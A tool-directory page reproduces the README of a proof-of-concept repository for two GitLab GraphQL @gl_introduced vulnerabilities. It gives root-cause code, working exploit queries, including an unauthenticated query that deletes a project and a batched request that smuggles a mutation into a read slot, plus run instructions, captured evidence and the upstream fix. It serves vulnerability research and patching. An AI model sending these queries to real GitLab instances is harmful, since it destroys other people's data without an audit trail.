Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-19478 — Provides PoC exploits and root-cause analysis for two GitLab GraphQL `@gl_introduced` directive vulnerabilities: unauthenticated method execution and batched document swap, with upstream patch and live evidence. | Kitploit
Tools/GitHubGitHub/n0xdaemon/cve-2026-19478
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb Security
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Provides PoC exploits and root-cause analysis for two GitLab GraphQL `@gl_introduced` directive vulnerabilities: unauthenticated method execution and batched document swap, with upstream patch and live evidence.

View Repository
3 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-19478 — GitLab GraphQL @gl_introduced version-filter vulnerabilities

A reproduction lab for two related bugs in GitLab's GraphQL version-filter feature (the @gl_introduced directive). Both live in the same feature area, are fixed by the same upstream patch, and both let a GraphQL request reach code paths it never declared:

  • Fallback-field method execution — a single, unauthenticated, non-batched query can invoke an arbitrary zero-argument method (e.g. destroy) on the model behind any GraphQL type, just by naming a field that doesn't exist and tagging it @gl_introduced.
  • Cross-operation document swap — in a batched (multiplex) request, one operation's parsed query document can be swapped in as another operation's, so a slot that declared a harmless read ends up executing a different slot's mutation.
Download Tool
Affected18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Fixed18.11.11, 19.0.8, 19.1.6, 19.2.4
Lab targetgitlab/gitlab-ce:19.2.2-ce.0 (last build before the fix)
TriggerGraphQL @gl_introduced directive, alone or inside a batch

Repository layout

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Everything under src/ is verbatim upstream source, never reimplemented — the loader overlays src/vuln or src/patched on top of src/common.


1. Root cause

1a. Fallback field → graphql-ruby's default method resolution

Gitlab::Graphql::VersionFilter::FutureFieldFallback lets a query reference a field that doesn't exist on a type yet without the request failing — meant for rolling deploys, where an old node's schema doesn't yet have a field a newer node already ships. Its get_field override checks whether the requested field is missing and the request is flagged contain_future_fields, and if so hands back a synthetic field instead of raising:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

The problem: this GraphQL::Schema::Field is built with no resolver method, no resolver class, no block. graphql-ruby's own default field resolution then applies (graphql gem 2.6.3, lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym is the field's name, underscored — i.e. exactly the string the attacker put in the query. If the object behind the GraphQL type (the ActiveRecord model) happens to have a real, zero-argument public method with that name, graphql-ruby calls it and returns its (type-coerced) result. fallback_value: nil only applies when the method genuinely doesn't exist — it does nothing to stop a real one from running.

So: query any type for a field named after a real destructive method — destroy, for instance — tag it @gl_introduced so it survives to execution, and the method runs.

1b. Cross-operation document swap

IntroducedTracer implements the rest of the version-filter feature across two graphql-ruby trace hooks — parse (once per operation) and execute_query (once per operation). In the vulnerable build it stashes its per-operation state in plain instance variables on the trace object:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

The problem: graphql-ruby shares ONE trace instance across every operation in a multiplexed request, and parses them all before executing any of them. So in a two-operation batch:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 carries a @gl_introduced future field)

After parsing, only the last operation's state survives. Then execution runs:

  1. execute_query(op1) → flag is true, so op1's document is overwritten with op2_doc and re-prepared → op1's slot runs op2's operation.

op1 declared a read; it executes op2's write.

The fix

patch-19.2.2-to-19.2.4.diff closes both:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Exploit flow

2a. Fallback field — single request, no auth, no batching

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

No Authorization header. One operation, no batch. destroy is not a real field on Project — it doesn't exist in the schema at all — but the directive makes FutureFieldFilter strip it before static validation and arms contain_future_fields for execution, where get_field hands back a resolver-less field named destroy and graphql-ruby calls project.public_send(:destroy).

Verified live (evidence/live_vuln_fallback_field.txt, reproduced three times against three separate disposable projects): sent against a public project, the response was {"data":{"project":{"id":"...","destroy":true}}}. A follow-up authenticated REST check (GET /api/v4/projects/:id) returned 404 — the project was actually gone. The request log for that call shows 9 synchronous database writes and zero new AuditEvent rows: the call bypasses Projects::DestroyService entirely (and with it the audit trail, webhooks, and notifications) — it is a raw ActiveRecord#destroy cascade invoked directly through GraphQL's default field resolution.

2b. Cross-operation document swap — needs a batch

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Op2 payload — the @gl_introduced directive only has to sit on a real field so that, at parse time, FutureFieldFilter flips contain_future_fields and arms the swap:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

Verified live (evidence/live_vuln.txt): slot 1, which declared query { currentUser { username } }, returns {"data":{"starProject":{"count":"0"}}} and the project's star count moves 1 → 0.


3. Running the PoCs

PoC #1 — live HTTP exploit, fallback-field method execution

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

The script creates a disposable public project via the authenticated REST API (setup only), sends one unauthenticated GraphQL query naming a destroy field tagged @gl_introduced, then re-checks the project via authenticated REST. It declares VULNERABLE if the project is gone.

PoC #2 — live HTTP exploit, cross-operation document swap

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

The script reads the baseline star state, sends the two-operation batch, and declares VULNERABLE if the read-declared slot 1 returns a starProject payload (and/or the star count changes).

PoC #3 — standalone root cause, document swap (no GitLab needed)

Isolates Gitlab::Graphql::VersionFilter in a tiny graphql-ruby app so the swap is visible with zero GitLab noise. Loads the real upstream source.

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. Impact

Both vectors are confirmed live against gitlab/gitlab-ce:19.2.2-ce.0. They carry different authorization exposure because they hit different layers of GitLab's stack.

Fallback field (1a): confirmed unauthenticated, destructive

No token, no batching, one query. The response returns the method's result directly ("destroy": true), and the underlying record is actually destroyed — confirmed via authenticated REST (404) and via server-side evidence (zero AuditEvent rows, 9 synchronous writes in one request), meaning it bypasses GitLab's normal deletion service entirely. Reproduced three times independently, against three separate disposable projects. Any GraphQL type whose backing object exposes a real zero-argument destructive method is a candidate.

Cross-operation swap (1b): confirmed authenticated; gated when anonymous

With any token that has api scope, an operation that declared a read executes a write it never asked for (star count 1 → 0, driven by a query-typed slot). Sent tokenless, the swap still fires — the read slot does reach and resolve starProject — but every GitLab mutation inherits Mutations::BaseMutation, whose self.authorized? gate runs at execution time:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

For an anonymous request current_user is nil, and GlobalPolicy does rule { anonymous }.policy { prevent :execute_graphql_mutation }. A sweep of 10 batch arrangements (order, directive on field / subfield / inline fragment, 2- and 3-operation batches) unauthenticated: the hijacked slot hits the gate every time and the star count never moves.

This gate is specific to mutations — it has no bearing on 1a, which never touches Mutations::BaseMutation at all; the fallback field resolves directly against the model as a plain query-type field, with no authorization check in the path at all.

Why the standalone PoC (#3) looks unauthenticated for 1b

src/common/demo_app.rb has no authorization layer at all — its mutation just writes. So PoC #3 demonstrates the swap mechanism (a read slot performing a write) in an auth-free sandbox. Real GitLab enforces the execute_graphql_mutation gate that the demo omits — for 1b specifically. On this stock build, a no-credentials mutation-driven write is not reachable via 1b alone; it is reachable via 1a, which needs no mutation at all.


5. Mitigation

Upgrade to 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 or later. The fix (see the diff) does two things: future_field_fallback.rb gives the fallback field an explicit resolver (Resolvers::NilResolver, which always returns nil) instead of relying on graphql-ruby's default method dispatch, closing 1a; introduced_tracer.rb scopes the tracer's per-operation state to each operation's own document instead of a shared instance variable, closing 1b.